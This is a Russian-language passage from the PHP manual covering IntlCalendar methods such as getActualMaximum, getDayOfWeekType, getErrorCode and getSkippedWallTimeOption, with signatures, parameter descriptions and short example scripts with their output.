Описание

Объектно-ориентированный стиль

public IntlCalendar::getActualMaximum(int $field): int|false

Процедурный стиль

intlcal_get_actual_maximum(IntlCalendar $calendar, int $field): int|false

Возвращает относительное максимальное значение поля для текущего времени. Точная семантика зависит от поля, но в общем случае это значение, которое было бы получено, если установить значение поля на наименьший относительный максимум и увеличивать его до тех пор, пока не будет достигнут глобальный максимум, чтобы обернуть значение поля, в котором возвращаемое значение будет глобальным максимумом или значением до переноса, соответственно.

Например, в григорианском календаре фактическое максимальное значение для дня месяца будет варьироваться от 28 до 31, в зависимости от месяца и года текущего времени.

Список параметров

calendar

Экземпляр IntlCalendar.

field

Одна из представленных в классе IntlCalendar констант полей типа дата/время. Целое число от 0 до IntlCalendar::FIELD_COUNT.

Возвращаемые значения

Целое число (int), представляющее максимальное значение в единицах измерения, связанное с данным field или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования IntlCalendar::getActualMaximum()

<?php
ini_set('date.timezone', 'Europe/Lisbon');

$cal = IntlCalendar::fromDateTime('2013-02-15');
var_dump($cal->getActualMaximum(IntlCalendar::FIELD_DAY_OF_MONTH)); //28

$cal->add(IntlCalendar::FIELD_EXTENDED_YEAR, -1);
var_dump($cal->getActualMaximum(IntlCalendar::FIELD_DAY_OF_MONTH)); //29

Результат выполнения данного примера:

int(28)
int(29)

Смотрите также

  • IntlCalendar::getMaximum() - Получает глобальное максимальное значение поля
  • IntlCalendar::getLeastMaximum() - Получает наименьший локальный максимум для поля
  • IntlCalendar::getActualMinimum() - Минимальное значение для поля с учётом текущего времени объекта

User Contributed Notes

There are no user contributed notes for this page.


Минимальное значение для поля с учётом текущего времени объекта

  • « IntlCalendar::getActualMaximum
  • IntlCalendar::getAvailableLocales »
  • PHP Manual
  • IntlCalendar
  • Минимальное значение для поля с учётом текущего времени объекта

IntlCalendar::getActualMinimum

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::getActualMinimum — Минимальное значение для поля с учётом текущего времени объекта

Описание

Объектно-ориентированный стиль

public IntlCalendar::getActualMinimum(int $field): int|false

Процедурный стиль

intlcal_get_actual_minimum(IntlCalendar $calendar, int $field): int|false

Возвращает относительное минимальное значение поля с учётом текущего времени. Точная семантика зависит от поля, но в общем случае это значение, которое можно было бы получить, если бы установить значение поля на наибольший относительный минимум для поля и уменьшать его до тех пор, пока не будет достигнут глобальный минимум или значение поля будет обёрнуто вокруг, в котором возвращаемое значение будет глобальным минимумом или значением до переноса, соответственно.

Для григорианского календаря это всегда то же самое, что и IntlCalendar::getMinimum().

Список параметров

calendar

Экземпляр IntlCalendar.

field

Одна из представленных в классе IntlCalendar констант полей типа дата/время. Целое число от 0 до IntlCalendar::FIELD_COUNT.

Возвращаемые значения

Целое число (int), представляющее значение поля или false в случае возникновения ошибки.

Смотрите также

  • IntlCalendar::getMinimum() - Получает глобальное минимальное значение поля
  • IntlCalendar::getGreatestMinimum() - Получает наибольшее локальное минимальное значение поля
  • IntlCalendar::getActualMaximum() - Максимальное значение для поля с учётом текущего времени объекта

User Contributed Notes

There are no user contributed notes for this page.


Получает массив языковых стандартов, для которых есть данные

  • « IntlCalendar::getActualMinimum
  • IntlCalendar::getDayOfWeekType »
  • PHP Manual
  • IntlCalendar
  • Получает массив языковых стандартов, для которых есть данные

IntlCalendar::getAvailableLocales

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::getAvailableLocales — Получает массив языковых стандартов, для которых есть данные

Описание

Объектно-ориентированный стиль

public static IntlCalendar::getAvailableLocales(): array

Процедурный стиль

intlcal_get_available_locales(): array

Предоставляет список языковых стандартов, для которых установлены календари. Начиная с ICU 51, это список всех установленных языковых стандартов ICU.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив (array) строк (string), каждая из которых соответствует языковому стандарту.

Примеры

Пример #1 Пример использования IntlCalendar::getAvailableLocales()

<?php
print_r(IntlCalendar::getAvailableLocales());

Результат выполнения данного примера:

Array
(
    [0] => af
    [1] => af_NA
    [2] => af_ZA
    [3] => agq
    [4] => agq_CM
    [5] => ak
    [6] => ak_GH
    [7] => am
    [8] => am_ET
    [9] => ar
    [10] => ar_001
    [11] => ar_AE
    [12] => ar_BH
    [13] => ar_DJ
    ... output abbreviated ...
    [595] => zh_Hant_HK
    [596] => zh_Hant_MO
    [597] => zh_Hant_TW
    [598] => zu
    [599] => zu_ZA
)

User Contributed Notes

There are no user contributed notes for this page.


Сообщает, является ли день будним, выходным или днём с переходом между ними

  • « IntlCalendar::getAvailableLocales
  • IntlCalendar::getErrorCode »
  • PHP Manual
  • IntlCalendar
  • Сообщает, является ли день будним, выходным или днём с переходом между ними

IntlCalendar::getDayOfWeekType

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::getDayOfWeekType — Сообщает, является ли день будним, выходным или днём с переходом между ними

Описание

Объектно-ориентированный стиль

public IntlCalendar::getDayOfWeekType(int $dayOfWeek): int|false

Процедурный стиль

intlcal_get_day_of_week_type(IntlCalendar $calendar, int $dayOfWeek): int|false

Возвращает, является ли указанный день рабочим днём (IntlCalendar::DOW_TYPE_WEEKDAY), выходным днём (IntlCalendar::DOW_TYPE_WEEKEND), днём, в течение которого происходит переход в выходные (IntlCalendar::DOW_TYPE_WEEKEND_OFFSET) или день, в течение которого прекращаются выходные (IntlCalendar::DOW_TYPE_WEEKEND_CEASE).

Если возврат либо
IntlCalendar::DOW_TYPE_WEEKEND_OFFSET,
либо IntlCalendar::DOW_TYPE_WEEKEND_CEASE,
затем можно вызвать IntlCalendar::getWeekendTransition()
для получения времени перехода.

Для этой функции требуется ICU 4.4 или новее.

Список параметров

calendar

Экземпляр IntlCalendar.

dayOfWeek

Одна из констант: IntlCalendar::DOW_SUNDAY,
IntlCalendar::DOW_MONDAY, ...,
IntlCalendar::DOW_SATURDAY.

Возвращаемые значения

Возвращает одну из констант:
IntlCalendar::DOW_TYPE_WEEKDAY,
IntlCalendar::DOW_TYPE_WEEKEND,
IntlCalendar::DOW_TYPE_WEEKEND_OFFSET или
IntlCalendar::DOW_TYPE_WEEKEND_CEASE или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования IntlCalendar::getDayOfWeekType()

<?php
foreach (array('en_US', 'ar_SA') as $locale) {
echo "Языковой стандарт: ", Locale::getDisplayName($locale, "en_US"), "\n";

$cal = IntlCalendar::createInstance('UTC', $locale);

for ($i = IntlCalendar::DOW_SUNDAY; $i <= IntlCalendar::DOW_SATURDAY; $i++) {
$type = $cal->getDayOfWeekType($i);
$transition = ($type !== IntlCalendar::DOW_TYPE_WEEKDAY)
? $cal->getWeekendTransition($i)
: '';
echo $i, " ", $type, " ", $transition, "\n";
}
echo "\n";
}
?>

Результат выполнения данного примера:

Языковой стандарт: English (United States)
1 1 86400000
2 0
3 0
4 0
5 0
6 0
7 1 0

Языковой стандарт: Arabic (Saudi Arabia)
1 0
2 0
3 0
4 0
5 0
6 1 0
7 1 86400000

User Contributed Notes

There are no user contributed notes for this page.


Получает последний код ошибки объекта

  • « IntlCalendar::getDayOfWeekType
  • IntlCalendar::getErrorMessage »
  • PHP Manual
  • IntlCalendar
  • Получает последний код ошибки объекта

IntlCalendar::getErrorCode

intlcal_get_error_code

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::getErrorCode -- intlcal_get_error_code — Получает последний код ошибки объекта

Описание

Объектно-ориентированный стиль (метод):

public IntlCalendar::getErrorCode(): int|false

Процедурный стиль:

intlcal_get_error_code(IntlCalendar $calendar): int|false

Возвращает числовой код ошибки ICU для последнего вызова этого объекта (включая клонирование) или IntlCalendar, указанный для параметра calendar (в версии с процедурным стилем). Это может означать только предупреждение (отрицательный код ошибки) или полное отсутствие ошибки (U_ZERO_ERROR). Фактическое наличие ошибки можно проверить с помощью intl_is_failure().

Недействительные аргументы, обнаруженные на стороне PHP (до вызова функций библиотеки ICU), не записываются для этой функции.

Последнюю ошибку, которая произошла при любом вызове функции модуля intl, включая ошибки ранних аргументов, можно получить с помощью функции intl_get_error_code(). Эта функция сбрасывает глобальный код ошибки, а не код ошибки объекта.

Список параметров

calendar

Объект календаря в интерфейсе процедурного стиля.

Возвращаемые значения

Код ошибки ICU, указывающий на успешное выполнение, сбой или предупреждение. Возвращает false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования IntlCalendar::getErrorCode() и IntlCalendar::getErrorMessage()

<?php
ini_set("intl.error_level", E_WARNING);
ini_set("intl.default_locale", "nl");

$intlcal = new IntlGregorianCalendar(2012, 1, 29);
var_dump(
$intlcal->getErrorCode(),
$intlcal->getErrorMessage()
);
$intlcal->fieldDifference(-1e100, IntlCalendar::FIELD_SECOND);

var_dump(
$intlcal->getErrorCode(),
$intlcal->getErrorMessage()
);

Результат выполнения данного примера:

int(0)
string(12) "U_ZERO_ERROR"

Warning: IntlCalendar::fieldDifference(): intlcal_field_difference: Call to ICU method has failed in /home/glopes/php/ws/example.php on line 10
int(1)
string(81) "intlcal_field_difference: Call to ICU method has failed: U_ILLEGAL_ARGUMENT_ERROR"

Смотрите также

  • IntlCalendar::getErrorMessage() - Получает последнее сообщение об ошибке для объекта
  • intl_is_failure() - Проверить, является ли код ошибки признаком сбоя
  • intl_error_name() - Получить имя ошибки по её коду
  • intl_get_error_code() - Получить код последней ошибки
  • intl_get_error_message() - Получить описание ошибки

User Contributed Notes

There are no user contributed notes for this page.


Получает последнее сообщение об ошибке для объекта

  • « IntlCalendar::getErrorCode
  • IntlCalendar::getFirstDayOfWeek »
  • PHP Manual
  • IntlCalendar
  • Получает последнее сообщение об ошибке для объекта

IntlCalendar::getErrorMessage

intlcal_get_error_message

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::getErrorMessage -- intlcal_get_error_message — Получает последнее сообщение об ошибке для объекта

Описание

Объектно-ориентированный стиль (метод):

public IntlCalendar::getErrorMessage(): string|false

Процедурный стиль:

intlcal_get_error_message(IntlCalendar $calendar): string|false

Возвращает сообщение об ошибке (если есть), связанное с ошибкой, о которой сообщает IntlCalendar::getErrorCode() or intlcal_get_error_code(). Если связанного сообщения об ошибке нет, будет возвращено только строковое представление имени константы ошибки. В противном случае сообщение об ошибке также включает сообщение, установленное на стороне привязки PHP.

Список параметров

calendar

Объект календаря в интерфейсе процедурного стиля.

Возвращаемые значения

Сообщение об ошибке, связанное с последней ошибкой, возникшей при вызове функции для этого объекта или строка, указывающая на отсутствие ошибки. Возвращает false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования IntlCalendar::getErrorMessage()

<?php
$cal = IntlCalendar::createInstance('UTC', 'en_US');
var_dump($cal->getErrorMessage());

$cal->getWeekendTransition(IntlCalendar::DOW_WEDNESDAY);
var_dump($cal->getErrorMessage());

Результат выполнения данного примера:

string(12) "U_ZERO_ERROR"
string(82) "intlcal_get_weekend_transition: Error calling ICU method: U_ILLEGAL_ARGUMENT_ERROR"

User Contributed Notes

There are no user contributed notes for this page.


Получает первый день недели для языкового стандарта календаря

  • « IntlCalendar::getErrorMessage
  • IntlCalendar::getGreatestMinimum »
  • PHP Manual
  • IntlCalendar
  • Получает первый день недели для языкового стандарта календаря

IntlCalendar::getFirstDayOfWeek

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::getFirstDayOfWeek — Получает первый день недели для языкового стандарта календаря

Описание

Объектно-ориентированный стиль

public IntlCalendar::getFirstDayOfWeek(): int|false

Процедурный стиль

intlcal_get_first_day_of_week(IntlCalendar $calendar): int|false

День недели, который считается началом недели: либо значение по умолчанию для этого языкового стандарта, либо значение, установленное с помощью IntlCalendar::setFirstDayOfWeek().

Список параметров

calendar

Экземпляр IntlCalendar.

Возвращаемые значения

Одна из констант: IntlCalendar::DOW_SUNDAY, IntlCalendar::DOW_MONDAY, ..., IntlCalendar::DOW_SATURDAY или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования IntlCalendar::getFirstDayOfWeek()

<?php
ini_set('date.timezone', 'UTC');

$cal1 = IntlCalendar::createInstance(NULL, 'es_ES');
var_dump($cal1->getFirstDayOfWeek()); // Понедельник
$cal1->set(2013, 1 /* Февраль */, 3); // Воскресенье
var_dump($cal1->get(IntlCalendar::FIELD_WEEK_OF_YEAR)); // 5

$cal2 = IntlCalendar::createInstance(NULL, 'en_US');
var_dump($cal2->getFirstDayOfWeek()); // Воскресенье
$cal2->set(2013, 1 /* Февраль */, 3); // Воскресенье
var_dump($cal2->get(IntlCalendar::FIELD_WEEK_OF_YEAR)); // 6

Результат выполнения данного примера:

int(2)
int(5)
int(1)
int(6)

Смотрите также

  • IntlCalendar::setFirstDayOfWeek() - Устанавливает день, который является началом недели

User Contributed Notes

There are no user contributed notes for this page.


Получает наибольшее локальное минимальное значение поля

  • « IntlCalendar::getFirstDayOfWeek
  • IntlCalendar::getKeywordValuesForLocale »
  • PHP Manual
  • IntlCalendar
  • Получает наибольшее локальное минимальное значение поля

IntlCalendar::getGreatestMinimum

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::getGreatestMinimum — Получает наибольшее локальное минимальное значение поля

Описание

Объектно-ориентированный стиль

public IntlCalendar::getGreatestMinimum(int $field): int|false

Процедурный стиль

intlcal_get_greatest_minimum(IntlCalendar $calendar, int $field): int|false

Возвращает наибольшее локальное минимальное значение поля. Это должно быть значение, большее или равное значению, возвращаемому IntlCalendar::getActualMinimum(), которое, в свою очередь, больше или равно значению, возвращаемому IntlCalendar::getMinimum(). Все эти три функции возвращают одно и то же значение для григорианского календаря.

Список параметров

calendar

Экземпляр IntlCalendar.

field

Одна из представленных в классе IntlCalendar констант полей типа дата/время. Целое число от 0 до IntlCalendar::FIELD_COUNT.

Возвращаемые значения

Целое число (int), представляющее значение поля или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Получает набор значений ключевых слов языкового стандарта

  • « IntlCalendar::getGreatestMinimum
  • IntlCalendar::getLeastMaximum »
  • PHP Manual
  • IntlCalendar
  • Получает набор значений ключевых слов языкового стандарта

IntlCalendar::getKeywordValuesForLocale

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::getKeywordValuesForLocale — Получает набор значений ключевых слов языкового стандарта

Описание

Объектно-ориентированный стиль

public static IntlCalendar::getKeywordValuesForLocale(string $keyword, string $locale, bool $onlyCommon): IntlIterator|false

Процедурный стиль

intlcal_get_keyword_values_for_locale(string $keyword, string $locale, bool $onlyCommon): IntlIterator|false

Для заданного ключа языкового стандарта получает набор значений для этого ключа, которые приведут к другому поведению. На данный момент поддерживается только ключевое слово 'calendar'.

Для работы функции требуется ICU 4.2 или новее.

Список параметров

keyword

Ключевое слово языкового стандарта, для которого нужно запросить релевантные значения. Поддерживается только 'calendar'.

locale

Языковой стандарт, к которому должна быть добавлена пара "ключевое слово/значение".

onlyCommon

Определяет, отображать ли только значения, обычно используемые для указанного языкового стандарта.

Возвращаемые значения

Итератор, который выдаёт строки со значениями ключевых слов языкового стандарта или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования IntlCalendar::getKeyworkValuesForLocale()

<?php
print_r(
iterator_to_array(
IntlCalendar::getKeywordValuesForLocale(
'calendar', 'fa_IR', true)));
print_r(
iterator_to_array(
IntlCalendar::getKeywordValuesForLocale(
'calendar', 'fa_IR', false)));

Результат выполнения данного примера:

Array
(
    [0] => persian
    [1] => gregorian
    [2] => islamic
    [3] => islamic-civil
)
Array
(
    [0] => persian
    [1] => gregorian
    [2] => islamic
    [3] => islamic-civil
    [4] => japanese
    [5] => buddhist
    [6] => roc
    [7] => hebrew
    [8] => chinese
    [9] => indian
    [10] => coptic
    [11] => ethiopic
    [12] => ethiopic-amete-alem
)

User Contributed Notes

There are no user contributed notes for this page.


Получает наименьший локальный максимум для поля

  • « IntlCalendar::getKeywordValuesForLocale
  • IntlCalendar::getLocale »
  • PHP Manual
  • IntlCalendar
  • Получает наименьший локальный максимум для поля

IntlCalendar::getLeastMaximum

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::getLeastMaximum — Получает наименьший локальный максимум для поля

Описание

Объектно-ориентированный стиль

public IntlCalendar::getLeastMaximum(int $field): int|false

Процедурный стиль

intlcal_get_least_maximum(IntlCalendar $calendar, int $field): int|false

Возвращает наименьший локальный максимум для поля. Это должно быть значение, меньшее или равное значению, возвращаемому IntlCalendar::getActualMaxmimum(), которое, в свою очередь, меньше или равно значению, возвращаемому IntlCalendar::getMaximum().

Список параметров

calendar

Экземпляр IntlCalendar.

field

Одна из представленных в классе IntlCalendar констант полей типа дата/время. Целое число от 0 до IntlCalendar::FIELD_COUNT.

Возвращаемые значения

Целое число (int), представляющее значение поля или false в случае возникновения ошибки.

Примеры

Пример #1 Пример максимального значения

<?php
ini_set('date.timezone', 'UTC');
ini_set('intl.default_locale', 'it_IT');

$cal = new IntlGregorianCalendar(2013, 3 /* April */, 6);
var_dump(
$cal->getLeastMaximum(IntlCalendar::FIELD_DAY_OF_MONTH), // 28
$cal->getActualMaximum(IntlCalendar::FIELD_DAY_OF_MONTH), // 30
$cal->getMaximum(IntlCalendar::FIELD_DAY_OF_MONTH) // 31
);

Результат выполнения данного примера:

int(28)
int(30)
int(31)

Смотрите также

  • IntlCalendar::getActualMaximum() - Максимальное значение для поля с учётом текущего времени объекта
  • IntlCalendar::getMaximum() - Получает глобальное максимальное значение поля
  • IntlCalendar::getGreatestMinimum() - Получает наибольшее локальное минимальное значение поля

User Contributed Notes

There are no user contributed notes for this page.


Получает языковой стандарт, связанный с объектом

  • « IntlCalendar::getLeastMaximum
  • IntlCalendar::getMaximum »
  • PHP Manual
  • IntlCalendar
  • Получает языковой стандарт, связанный с объектом

IntlCalendar::getLocale

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::getLocale — Получает языковой стандарт, связанный с объектом

Описание

Объектно-ориентированный стиль

public IntlCalendar::getLocale(int $type): string|false

Процедурный стиль

intlcal_get_locale(IntlCalendar $calendar, int $type): string|false

Возвращает языковой стандарт, связанный с объектом.

Список параметров

calendar

Экземпляр IntlCalendar.

type

Следует ли получать фактический языковой стандарт (языковой стандарт, из которого происходят данные календаря, с помощью Locale::ACTUAL_LOCALE) или действительный языковой стандарт, т.к. наиболее конкретный языковой стандарт, поддерживаемый ICU относительно запрошенного языкового стандарта - смотрите Locale::VALID_LOCALE. От наиболее общих к наиболее частным, языковые стандарты отсортированы следующим образом: фактический языковой стандарт, допустимый языковой стандарт, запрошенный языковой стандарт.

Возвращаемые значения

Языковой стандарт в виде строки или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования IntlCalendar::getLocale()

<?php
$cal = IntlCalendar::createInstance(IntlTimeZone::getGMT(), 'en_US_CALIFORNIA');
var_dump(
$cal->getLocale(Locale::ACTUAL_LOCALE),
$cal->getLocale(Locale::VALID_LOCALE)
);

Результат выполнения данного примера:

string(2) "en"
string(5) "en_US"

User Contributed Notes

There are no user contributed notes for this page.


Получает глобальное максимальное значение поля

  • « IntlCalendar::getLocale
  • IntlCalendar::getMinimalDaysInFirstWeek »
  • PHP Manual
  • IntlCalendar
  • Получает глобальное максимальное значение поля

IntlCalendar::getMaximum

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::getMaximum — Получает глобальное максимальное значение поля

Описание

Объектно-ориентированный стиль

public IntlCalendar::getMaximum(int $field): int|false

Процедурный стиль

intlcal_get_maximum(IntlCalendar $calendar, int $field): int|false

Получает глобальное максимальное значение поля в этом конкретном календаре. Это значение больше или равно значению, возвращаемому IntlCalendar::getActualMaximum(), которое, в свою очередь, больше или равно значению, возвращаемому IntlCalendar::getLeastMaximum().

Список параметров

calendar

Экземпляр IntlCalendar.

field

Одна из представленных в классе IntlCalendar констант полей типа дата/время. Целое число от 0 до IntlCalendar::FIELD_COUNT.

Возвращаемые значения

Целое число (int), представляющее значение для данного поля или false в случае возникновения ошибки.

Смотрите также

  • IntlCalendar::getActualMaximum() - Максимальное значение для поля с учётом текущего времени объекта
  • IntlCalendar::getLeastMaximum() - Получает наименьший локальный максимум для поля
  • IntlCalendar::getMinimum() - Получает глобальное минимальное значение поля

User Contributed Notes

There are no user contributed notes for this page.


Получает минимальное количество дней, которое может быть в первой неделе в году или месяце

  • « IntlCalendar::getMaximum
  • IntlCalendar::getMinimum »
  • PHP Manual
  • IntlCalendar
  • Получает минимальное количество дней, которое может быть в первой неделе в году или месяце

IntlCalendar::getMinimalDaysInFirstWeek

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::getMinimalDaysInFirstWeek — Получает минимальное количество дней, которое может быть в первой неделе в году или месяце

Описание

Объектно-ориентированный стиль

public IntlCalendar::getMinimalDaysInFirstWeek(): int|false

Процедурный стиль

intlcal_get_minimal_days_in_first_week(IntlCalendar $calendar): int|false

Возвращает наименьшее количество дней, которые должны пройти в первую неделю года или месяца в новом году или месяце. Например, в григорианском календаре, если это значение равно 1, то первая неделя года обязательно будет включать 1 января, а если это значение равно 7, то неделя с 1 января будет первой неделей года, только если день недели 1 января совпадает с днём недели, возвращаемым IntlCalendar::getFirstDayOfWeek(); в противном случае это будет последняя неделя прошлого года.

Список параметров

calendar

Экземпляр IntlCalendar.

Возвращаемые значения

Целое число (int, представляющее количество дней или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования IntlCalendar::getMinimalDaysInFirstWeek()

<?php
ini_set('date.timezone', 'UTC');
ini_set('intl.default_locale', 'en_US');

$cal = new IntlGregorianCalendar(2013, 0 /* Январь */, 2);
var_dump(IntlDateFormatter::formatObject($cal, 'cccc')); // Среда

var_dump($cal->getMinimalDaysInFirstWeek(), // 1
$cal->getFirstDayofWeek()); // 1 (Воскресенье)

// Первая неделя 2013 года
var_dump(IntlDateFormatter::formatObject($cal, "'Week 'w' of 'Y"));

$cal->setMinimalDaysInFirstWeek(4);
// Всё ещё первая неделя 2013 года (в 1-й неделе 5 дней в новом году)
var_dump(IntlDateFormatter::formatObject($cal, "'Week 'w' of 'Y"));

$cal->setMinimalDaysInFirstWeek(6);
// 53 неделя 2012 года
var_dump(IntlDateFormatter::formatObject($cal, "'Week 'w' of 'Y"));

Результат выполнения данного примера:

string(9) "Wednesday"
int(1)
int(1)
string(14) "Week 1 of 2013"
string(14) "Week 1 of 2013"
string(15) "Week 53 of 2012"

User Contributed Notes

There are no user contributed notes for this page.


Получает глобальное минимальное значение поля

  • « IntlCalendar::getMinimalDaysInFirstWeek
  • IntlCalendar::getNow »
  • PHP Manual
  • IntlCalendar
  • Получает глобальное минимальное значение поля

IntlCalendar::getMinimum

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::getMinimum — Получает глобальное минимальное значение поля

Описание

Объектно-ориентированный стиль

public IntlCalendar::getMinimum(int $field): int|false

Процедурный стиль

intlcal_get_minimum(IntlCalendar $calendar, int $field): int|false

Получает глобальное минимальное значение поля в этом конкретном календаре. Это значение меньше или равно значению, возвращаемому IntlCalendar::getActualMinimum(), которое, в свою очередь, меньше или равно значению, возвращаемому IntlCalendar::getGreatestMinimum(). Для григорианского календаря эти три функции всегда возвращают одно и то же значение (для каждого поля).

Список параметров

calendar

Экземпляр IntlCalendar.

field

Одна из представленных в классе IntlCalendar констант полей типа дата/время. Целое число от 0 до IntlCalendar::FIELD_COUNT.

Возвращаемые значения

Целое число (int), представляющее значение для данного поля или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Получает число, представляющее текущее время

  • « IntlCalendar::getMinimum
  • IntlCalendar::getRepeatedWallTimeOption »
  • PHP Manual
  • IntlCalendar
  • Получает число, представляющее текущее время

IntlCalendar::getNow

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::getNow — Получает число, представляющее текущее время

Описание

Объектно-ориентированный стиль

public static IntlCalendar::getNow(): float

Процедурный стиль

intlcal_get_now(): float

Количество миллисекунд, прошедших с начала эпохи Unix. Число определяется системным временем.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Число с плавающей точкой (float), представляющее количество миллисекунд с начала эпохи Unix, не считая дополнительных секунд.

Примеры

Пример #1 Пример использования IntlCalendar::getNow()

<?php
$formatter = IntlDateFormatter::create('es_ES',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'Europe/Madrid');

$val = IntlCalendar::getNow();

var_dump($val);
echo $formatter->format(IntlCalendar::getNow() / 1000.), "\n";

Результат выполнения данного примера:

float(1371425814666)
lunes, 17 de junio de 2013 01:36:54 Hora de verano de Europa central

User Contributed Notes

There are no user contributed notes for this page.


Получает поведение для обработки повторяющегося времени процессора

  • « IntlCalendar::getNow
  • IntlCalendar::getSkippedWallTimeOption »
  • PHP Manual
  • IntlCalendar
  • Получает поведение для обработки повторяющегося времени процессора

IntlCalendar::getRepeatedWallTimeOption

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::getRepeatedWallTimeOption — Получает поведение для обработки повторяющегося времени процессора

Описание

Объектно-ориентированный стиль

public IntlCalendar::getRepeatedWallTimeOption(): int

Процедурный стиль

intlcal_get_repeated_wall_time_option(IntlCalendar $calendar): int

Получает текущую стратегию работы со временем процессора, которая повторяется всякий раз, когда часы переводятся назад во время переходов на летнее время. Значение по умолчанию - IntlCalendar::WALLTIME_LAST.

Для этой функции требуется ICU 4.9 или новее.

Список параметров

calendar

Экземпляр IntlCalendar.

Возвращаемые значения

Одна из констант: IntlCalendar::WALLTIME_FIRST или IntlCalendar::WALLTIME_LAST.

Примеры

Пример #1 Пример использования IntlCalendar::getRepeatedWallTimeOption()

<?php
ini_set('date.timezone', 'Europe/Lisbon');
ini_set('intl.default_locale', 'en_US');
ini_set('intl.error_level', E_WARNING);

// 27 октября в 02:00 часы переводятся на 1 час назад с GMT+01 на GMT+00.
$cal = new IntlGregorianCalendar(2013, 9 /* Октябрь */, 27, 1, 30);

var_dump($cal->getRepeatedWalltimeOption()); // 0 WALLTIME_LAST

$formatter = IntlDateFormatter::create(
NULL,
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'UTC'
);
var_dump($formatter->format($cal->getTime() / 1000.));

$cal->setRepeatedWalltimeOption(IntlCalendar::WALLTIME_FIRST);
var_dump($cal->getRepeatedWalltimeOption()); // 1 WALLTIME_FIRST
$cal->set(IntlCalendar::FIELD_HOUR_OF_DAY, 1);

var_dump($formatter->format($cal->getTime() / 1000.));

Результат выполнения данного примера:

int(0)
string(42) "Sunday, October 27, 2013 at 1:30:00 AM GMT"
int(1)
string(43) "Sunday, October 27, 2013 at 12:30:00 AM GMT"

Смотрите также

  • IntlCalendar::getSkippedWallTimeOption() - Получает поведение для обработки пропущенного времени процессора
  • IntlCalendar::setSkippedWallTimeOption() - Устанавливает поведение для обработки пропущенного времени процессора при положительных переходах смещения часового пояса
  • IntlCalendar::setRepeatedWallTimeOption() - Устанавливает поведение для обработки повторяющегося времени процессора при отрицательных переходах смещения часового пояса

User Contributed Notes

There are no user contributed notes for this page.


Получает поведение для обработки пропущенного времени процессора

  • « IntlCalendar::getRepeatedWallTimeOption
  • IntlCalendar::getTime »
  • PHP Manual
  • IntlCalendar
  • Получает поведение для обработки пропущенного времени процессора

IntlCalendar::getSkippedWallTimeOption

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::getSkippedWallTimeOption — Получает поведение для обработки пропущенного времени процессора

Описание

Объектно-ориентированный стиль

public IntlCalendar::getSkippedWallTimeOption(): int

Процедурный стиль

intlcal_get_skipped_wall_time_option(IntlCalendar $calendar): int

Получает текущую стратегию для работы со временем процессора, которое пропускается всякий раз, когда часы переводятся во время переходов времени на летнее время. Значение по умолчанию - IntlCalendar::WALLTIME_LAST.

Чтобы эта опция имела какой-либо эффект, календарь должен быть в мягком режиме, в противном случае попытка установить несуществующее время вызовет ошибку.

Для этой функции требуется ICU 4.9 или новее.

Список параметров

calendar

Экземпляр IntlCalendar.

Возвращаемые значения

Одна из констант: IntlCalendar::WALLTIME_FIRST,
IntlCalendar::WALLTIME_LAST или
IntlCalendar::WALLTIME_NEXT_VALID.

Примеры

Пример #1 Пример использования IntlCalendar::getSkippedWallTimeOption()

<?php
ini_set('date.timezone', 'Europe/Lisbon');
ini_set('intl.default_locale', 'en_US');
ini_set('intl.error_level', E_WARNING);

// 31 марта в 01:00 часы переводятся на 1 час вперёд и с GMT+00 на GMT+01.
$cal = new IntlGregorianCalendar(2013, 2 /* March */, 31, 1, 30);

var_dump(
$cal->isLenient(), // true
$cal->getSkippedWalltimeOption() // 0 WALLTIME_LAST
);

$formatter = IntlDateFormatter::create(
NULL,
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'UTC'
);
var_dump($formatter->format($cal->getTime() / 1000));

$cal->setSkippedWallTimeOption(IntlCalendar::WALLTIME_FIRST);
var_dump($cal->getSkippedWalltimeOption()); // 1 WALLTIME_FIRST
$cal->set(IntlCalendar::FIELD_HOUR_OF_DAY, 1);

var_dump($formatter->format($cal->getTime() / 1000));

$cal->setSkippedWallTimeOption(IntlCalendar::WALLTIME_NEXT_VALID);
var_dump($cal->getSkippedWalltimeOption()); // 2 WALLTIME_NEXT_VALID
$cal->set(IntlCalendar::FIELD_HOUR_OF_DAY, 1);

var_dump($formatter->format($cal->getTime() / 1000));

Результат выполнения данного примера:

bool(true)
int(0)
